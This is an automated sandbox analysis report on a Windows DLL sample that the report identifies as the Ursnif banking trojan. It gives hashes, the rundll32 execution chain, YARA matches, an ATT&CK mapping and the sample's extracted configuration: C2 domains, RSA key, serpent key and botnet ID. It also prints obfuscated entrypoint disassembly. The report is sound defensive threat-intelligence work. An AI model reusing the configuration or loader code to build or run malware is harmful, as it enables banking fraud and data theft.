Play interactive tour

Edit tour

Analysis Report O2U2nEYAZO.dll

Overview

General Information

Sample Name:	O2U2nEYAZO.dll
Analysis ID:	404117
MD5:	d0444db75cfd8076e5ee3fa9586e00cb
SHA1:	0c2f1c2a5e60393b2aa598f02e0693c6ab91af13
SHA256:	bb5480c21a832b918bb504d84450129527c3e0c4c49924ecd874e880a6fb54c4
Tags:	dll
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Machine Learning detection for sample

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

PE file contains sections with non-standard names

Program does not show much activity (idle)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 6004 cmdline: loaddll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 4952 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 3336 cmdline: rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5492 cmdline: rundll32.exe C:\Users\user\Desktop\O2U2nEYAZO.dll,DllServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA", "c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.305804273.0000000003000000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000002.364375859.0000000000EB0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000002.267745617.0000000000750000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Unpacked PEs

Source	Rule	Description	Author
4.2.rundll32.exe.3000000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.750000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.eb0000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.3.loaddll32.exe.2f594a0.0.raw.unpack

Malware Configuration Extractor: Ursnif {"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA", "c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Multi AV Scanner detection for submitted file

Show sources

Source: O2U2nEYAZO.dll

Virustotal: Detection: 64%

Perma Link

Machine Learning detection for sample

Show sources

Source: O2U2nEYAZO.dll

Joe Sandbox ML: detected

Source: O2U2nEYAZO.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.305804273.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364375859.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.267745617.0000000000750000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.3000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.eb0000.1.raw.unpack, type: UNPACKEDPE

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.305804273.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364375859.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.267745617.0000000000750000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.3000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.eb0000.1.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16	0_2_00E95F16
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E913C5	0_2_00E913C5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E943D8	0_2_00E943D8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E91CD0	0_2_00E91CD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E927D4	0_2_00E927D4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E93FAB	0_2_00E93FAB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E92FAF	0_2_00E92FAF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E988BA	0_2_00E988BA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E931B3	0_2_00E931B3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E992B2	0_2_00E992B2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E92A69	0_2_00E92A69
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E91967	0_2_00E91967
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E92566	0_2_00E92566
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E9150C	0_2_00E9150C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E9510C	0_2_00E9510C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E91B1E	0_2_00E91B1E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E93A14	0_2_00E93A14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE66BA	4_2_02FE66BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE27D4	4_2_02FE27D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE13C5	4_2_02FE13C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE88BA	4_2_02FE88BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE92B2	4_2_02FE92B2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE45B2	4_2_02FE45B2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE2FAF	4_2_02FE2FAF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE2A69	4_2_02FE2A69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE2566	4_2_02FE2566
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE1967	4_2_02FE1967
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE1B1E	4_2_02FE1B1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE5F16	4_2_02FE5F16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE3A14	4_2_02FE3A14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE150C	4_2_02FE150C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE510C	4_2_02FE510C

Source: O2U2nEYAZO.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal68.troj.winDLL@7/0@0/0

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\O2U2nEYAZO.dll,DllServer

Source: O2U2nEYAZO.dll

Virustotal: Detection: 64%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\O2U2nEYAZO.dll,DllServer
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\O2U2nEYAZO.dll,DllServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1	Jump to behavior

Source: O2U2nEYAZO.dll

Static PE information: section name: .code

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E9709D push edi; mov dword ptr [esp], FFFF0000h	0_2_00E9709E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E9709D push 00000000h; mov dword ptr [esp], ebp	0_2_00E970F5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E9709D push esp; mov dword ptr [esp], 00000040h	0_2_00E9711D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E9709D push 00000000h; mov dword ptr [esp], ecx	0_2_00E9716C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx	0_2_00E95F7B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_00E95F94
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_00E95FDD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_00E9604B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_00E96124
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], edi	0_2_00E9614F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], edx	0_2_00E9625E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_00E962B5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_00E96343
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_00E9635D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], ebp	0_2_00E96368
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_00E96385
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], edx	0_2_00E963B4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_00E96483
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_00E964F2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_00E964FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_00E9650A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], edi	0_2_00E96567
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], edi	0_2_00E965A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], eax	0_2_00E96610
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_00E96685
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-08h]; mov dword ptr [esp], ecx	0_2_00E966C2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_00E966E8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], edi	0_2_00E96781
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push 00000000h; mov dword ptr [esp], edx	0_2_00E967B6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_00E9684C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E95F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_00E96858

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.305804273.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364375859.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.267745617.0000000000750000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.3000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.eb0000.1.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00E92A69 xor edi, dword ptr fs:[00000030h]		0_2_00E92A69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02FE2A69 xor edi, dword ptr fs:[00000030h]		4_2_02FE2A69

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.305804273.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364375859.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.267745617.0000000000750000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.3000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.eb0000.1.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.305804273.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364375859.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.267745617.0000000000750000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.3000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.eb0000.1.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection11	Rundll321	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	System Information Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection11	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
O2U2nEYAZO.dll	65%	Virustotal		Browse
O2U2nEYAZO.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	404117
Start date:	04.05.2021
Start time:	18:13:30
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	O2U2nEYAZO.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.troj.winDLL@7/0@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 87.5% (good quality ratio 79%) Quality average: 68% Quality standard deviation: 32%
HCA Information:	Successful, ratio: 100% Number of executed functions: 5 Number of non-executed functions: 16
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll

Simulations

Behavior and APIs

Time	Type	Description
18:15:24	API Interceptor	2x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.001561466891949
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	O2U2nEYAZO.dll
File size:	121883
MD5:	d0444db75cfd8076e5ee3fa9586e00cb
SHA1:	0c2f1c2a5e60393b2aa598f02e0693c6ab91af13
SHA256:	bb5480c21a832b918bb504d84450129527c3e0c4c49924ecd874e880a6fb54c4
SHA512:	78c65e35d3f4f4e041d3ba4503cc65211962cb0ae2bcfda5b07ca64876e9695d2df25fcc9f4ad727282b9ba644c3a7f2081077953a0bc5b4629f076a4c92ef42
SSDEEP:	1536:tm15JsYYm3GCVS7ZicTJzRVd620ZmB9RMli0msUdqZEACW4jySTLW:eLsacThRVd6pmBPM07vYZEA4/W
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!................ko.............................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006f6b
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3f728412058b62c418b1091768b74d7b

Entrypoint Preview

Instruction
push ebx
push esi
and dword ptr [esp], 00000000h
or dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esp
mov dword ptr [esp], FFFF0000h
call 00007F43C48EFAF1h
push eax
add dword ptr [esp], 00000247h
sub dword ptr [esp], eax
push esi
mov dword ptr [esp], 00001567h
call 00007F43C48EEA67h
push eax
or dword ptr [esp], eax
pop eax
jne 00007F43C48F3D6Bh
pushad
push 00000000h
mov dword ptr [esp], esi
xor esi, esi
xor esi, dword ptr [ebx+0041C627h]
mov eax, esi
pop esi
push ebx
add dword ptr [esp], 40h
sub dword ptr [esp], ebx
push ebp
add dword ptr [esp], 00001000h
sub dword ptr [esp], ebp
mov dword ptr [ebp-04h], 00000000h
push dword ptr [ebp-04h]
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0041F05Ch]
mov dword ptr [ebp-04h], ecx
xor ecx, dword ptr [ebp-04h]
or ecx, eax
and edi, 00000000h
xor edi, ecx
mov ecx, dword ptr [ebp-04h]
push edi
pop dword ptr [ebp-04h]
push dword ptr [ebp-04h]
pop dword ptr [ebx+0041CAEDh]
cmp ebx, 00000000h
jbe 00007F43C48F3D5Ch
push 00000000h
add dword ptr [esp], edx
push dword ptr [ebx+0041C166h]
pop edx
add edx, ebx
mov dword ptr [ebx+0041C166h], edx
pop edx
push 00000000h
add dword ptr [esp], edx
push dword ptr [ebx+0041CECAh]
pop edx
add edx, ebx
mov dword ptr [ebx+0041CECAh], edx
pop edx
push ebp
and ebp, 00000000h
or ebp, dword ptr [ebx+0041C166h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1a000	0x64	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f0fc	0x118	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f000	0xfc	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x185f2	0x18600	False	0.670042067308	data	6.53345039933	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x1a000	0x64	0x200	False	0.16796875	data	1.0662581269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x1000	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0x1c000	0x20b3	0x2200	False	0.359834558824	data	2.96025706595	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x1f000	0x7b2	0x800	False	0.45703125	data	4.70767794561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, SetWindowsHookExA, GetLayeredWindowAttributes
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, lstrcatA, lstrcmpA, GetEnvironmentVariableW
ole32.dll	OleInitialize, OleQueryCreateFromData, IIDFromString, CLIPFORMAT_UserUnmarshal, OleCreateEmbeddingHelper, HDC_UserSize
msimg32.dll	AlphaBlend, TransparentBlt
comdlg32.dll	PageSetupDlgA, PrintDlgA
oledlg.dll	OleUICanConvertOrActivateAs, OleUIChangeSourceW, OleUIConvertA
comctl32.dll	CreateStatusWindow, LBItemFromPt, DPA_Create, FlatSB_ShowScrollBar, ImageList_GetFlags
oleacc.dll	IID_IAccessible, LresultFromObject
version.dll	VerFindFileW, VerInstallFileA, VerQueryValueA, VerQueryValueW
gdiplus.dll	GdipEnumerateMetafileDestPointI, GdipCreateBitmapFromHBITMAP, GdipSetPenUnit, GdipGetImageEncoders, GdipGetPathPointsI
winspool.drv	FindNextPrinterChangeNotification, ConnectToPrinterDlg, SetPrinterDataW, GetPrinterW, DeletePrinterDataExW
shell32.dll	SHGetSpecialFolderPathA
advapi32.dll	GetKernelObjectSecurity, CryptEnumProviderTypesA, RegQueryValueExW, RegisterIdleTask

Exports

Name	Ordinal	Address
DllServer	1	0x1000447b

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6004 Parent PID: 5700

General

Start time:	18:14:19
Start date:	04/05/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll'
Imagebase:	0x1000000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.364375859.0000000000EB0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

